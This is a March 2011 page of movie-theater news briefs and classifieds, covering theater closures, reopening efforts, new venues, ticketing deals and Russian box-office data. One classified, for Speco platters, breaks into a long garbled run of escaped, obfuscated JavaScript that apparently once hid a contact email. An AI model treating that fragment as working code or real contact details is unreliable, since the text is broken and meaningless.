The latest movie theater news and updates

  • March 17, 2011

    Wisconsin small town theaters stuggling to survive

    MADISON, WI — Although the situation is hardly unique to Wisconsin, small town theaters in the Dairy State are finding it increasingly dfficult to keep their marquees lit and the popcorn popping. Many have closed; survivors are increasingly implementing alternative programming, personnel reductions, and live performances to reduce operating costs and to increase revenue.

    One movie theater company has a program that allows video game enthusiasts to use their PlayStation and Nintendo systems on the big screen for two hours. The $65 fee for four people includes unlimited soda and popcorn.

    “It’s all about finding other revenue sources,” said Jeremy Patnaude, general manager of State Theatres in Platteville, which also operates theaters in Boscobel, Lancaster, Dodgeville and Menomonie. “It’s utilizing what you have.”

    The story appeared in the Wisconsin State Journal.

  • Speco platters for sale

    Have a number of SPECO LP-270 platters and make-up tables for sale in the central Ohio area. Call 740-652-9667 or \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"+ "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\"+ "\\\\\\\\\\\\\\\\\\\\\\t tiel\\\\=\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"+ "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\"+ "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"+ "\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\>\\\\meia\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\)\\\\\\\\;\\"+ "\\\\\\\\\\\\\\\\\\\\\"=\\\\deko\\\"\\\\\\\\\\\\k;do=eokeds.lpti'()'r.veree"+ "s)(j.io(n''\\\\)=\\\"deko;\\\"okedk=do.epsil(t''.)erevsr(e.)ojni'()'\";x='"+ "';for(i=0;i<(kode.length-1);i+=2){x+=kode.charAt(i+1)+kode.charAt(i)}kode="+ "x+(i */ .

  • March 16, 2011

    Fandango to sell Alamo Drafthouse tickets

    AUSTIN, TX — As the company moves forward and prepares to expand, Alamo Drafthouse will now sell its tickets through Fandango.

    The Web movie ticket seller has agreed to sell tickets to The Drafthouse; including to special events such as sing-alongs, “Weird Wednesdays,” “Terror Tuesdays,” and other regular events. Company founder and CEO Tim League said the deal will fuel efforts to expand nationally in New York, Los Angeles and elsewhere.

    Read the full story in the Austin Business Journal.

  • Russian cinema review 2010

    Nevafilm Research, a Russian market research company, released latest data about the Russian cinema market, including last year’s box office numbers and information about the country’s exhibition industry.

    After a decrease in 2009 box office revenues reached a new record with more than one billion USD and a 30 per cent increase. The admissions did not grow that fast (17.8 per cent), but also were on a high in the modern Russian era with almost 156 million tickets sold.

    In the end of the last year 865 theaters were active in the Russian federation: 85 sites with 331 screens were new openings, 23 cinemas were closed. Most of the closings were traditional single screen or two screen cinemas, what means only 34 screens were abolished.

  • March 15, 2011

    Last Remaining Seats

    LOS ANGELES, CA — The Last Remaining Seats, a highly successful yearly event presenting classic motion pictures and live entertainment in several of Los Angeles' historic Broadway movie palaces will celebrate its 25th year May 25 – June 29 on Wednesdays at 8 PM.

    Along with those, there will also be two special bonus screenings on Sunday June 26 at the Palace Theatre. Conservancy members recently voted on which film would be shown that day from a list of past films in the series. They chose “Sunset Boulevard” and Nancy Olson(Betty Schaefer in the film) will be there at one of the screenings. To top it all off, June 26th will be the 100th Anniversary, to the day, of the Palace.

    For tickets, schedules and other information please see the Los Angeles Conservancy’s website. Tickets go on sale to members on March 20 and on April 13 to the general public. Don’t delay. Each night typically sells out in advance, sometimes just to members.

  • Efforts launched to reopen the former State Theatre in Stoughton

    STOUGHTON, MA — A concert on March 26 will be the initial event to raise funds to restore and reopen the 1927 State Theatre here, most recently known as the Stoughton Cinema Pub. The theater closed in 2007, and the current owner apparently indicated a desire to tear it down for a parking lot. It is estimated that at least a quarter of a million dollars will be needed to restore the theater to a usable condition.

    Most recently known as the Stoughton Cinema Pub, the theater closed in December 2007, just six days shy of its 80th birthday.

    “Once that closed, the rest of the remaining downtown started dying with it,” Mutascio said, adding that reopening the theater could help revitalize the downtown.

    The full article about the restoration effort, including a vintage photo, appeared at Boston.com.

  • New art theatre to open in April in downtown Austin

    AUSTIN, TX — A new quad art cinema is scheduled to on April 29 in downtown Austin’s Second Street district. The Violet Crown’s four all-digital intimate screening rooms will all have stadium seating with fold-out table trays for patrons who can purchase food, drinks, and cocktails from the service offered in the theater’s lounge.

    The Violet Crown, on the second floor of the AMLI on 2nd apartment building, will specialize in art, independent, documentary and international films.

    Banowsky says that will differentiate it from the Alamo Ritz on East Sixth Street, which shows both mainstream and independent films. Austin’s only other theater featuring art and independent films is the Regal Arbor Cinema in Northwest Austin.

    There is more in this story from the Austin Statesman.

  • March 14, 2011

    Local group explores future options for closed theater in Kennett

    KENNETT, MO — An informal group is looking at possible options for reopening the Cinema, one of a number of former Kerasotes theaters closed by AMC late last year. Consideration is being given to how the the theater might be operated as a mixed-use, community arts center that would still be used for film showings on occasion.

    According to Jackson, one of his first thoughts was that the theater could open as a non-profit community arts theater. He added that the city would be in a good position since the theater was still in such good shape. Jackson said that the projector is still there as well as the popcorn, soda, ice machines, and cash register. He noted that the seats are still in good condition. The question of seating capacity came up in the meeting. Kennett City Council member Jake Crafton said that it seated 400 people.

    The story appeared in the Dunklin Daily Democrat.

  • Carmike Main Street 6

    CARROLLWOOD, FL — The Main Street 6 is being remodeled. All theaters will have digital and reserved leather seats.

    Main Street Cinemas, which is owned and operated by the same group as Channelside Cinemas 10, recently signed a lease with the shopping center’s property owner, RMC Property Management Group.

    The building on N Dale Mabry, north of Hudson Lane, will span 20,500 square feet and show the latest films. In keeping with CineBistro theaters in Wesley Chapel and Hyde Park, movie­goers will be able to order from a restaurant-style menu and be served inside the theater.

    Read more in the St. Petersburg Times.

    Official Website

  • Former theater manager needs help in producing a film

    After 10 years in theater operations, both multiplex and historical single screen houses, I am taking my love for these buildings and my passion for filmmaking and looking to fund and produce a throwback horror film set in an old vaudeville theater. “Midnight Show” is headed by the team from Underbelly. a partner series on the next new networks.

    But we need Cinema Treasures followers help in getting this before the camera. Follow the link to IndieGoGO and see if maybe you would want to contribute to this exciting project and get your name in the credits with a donation of as little as 10 dollars!

    IndieGoGo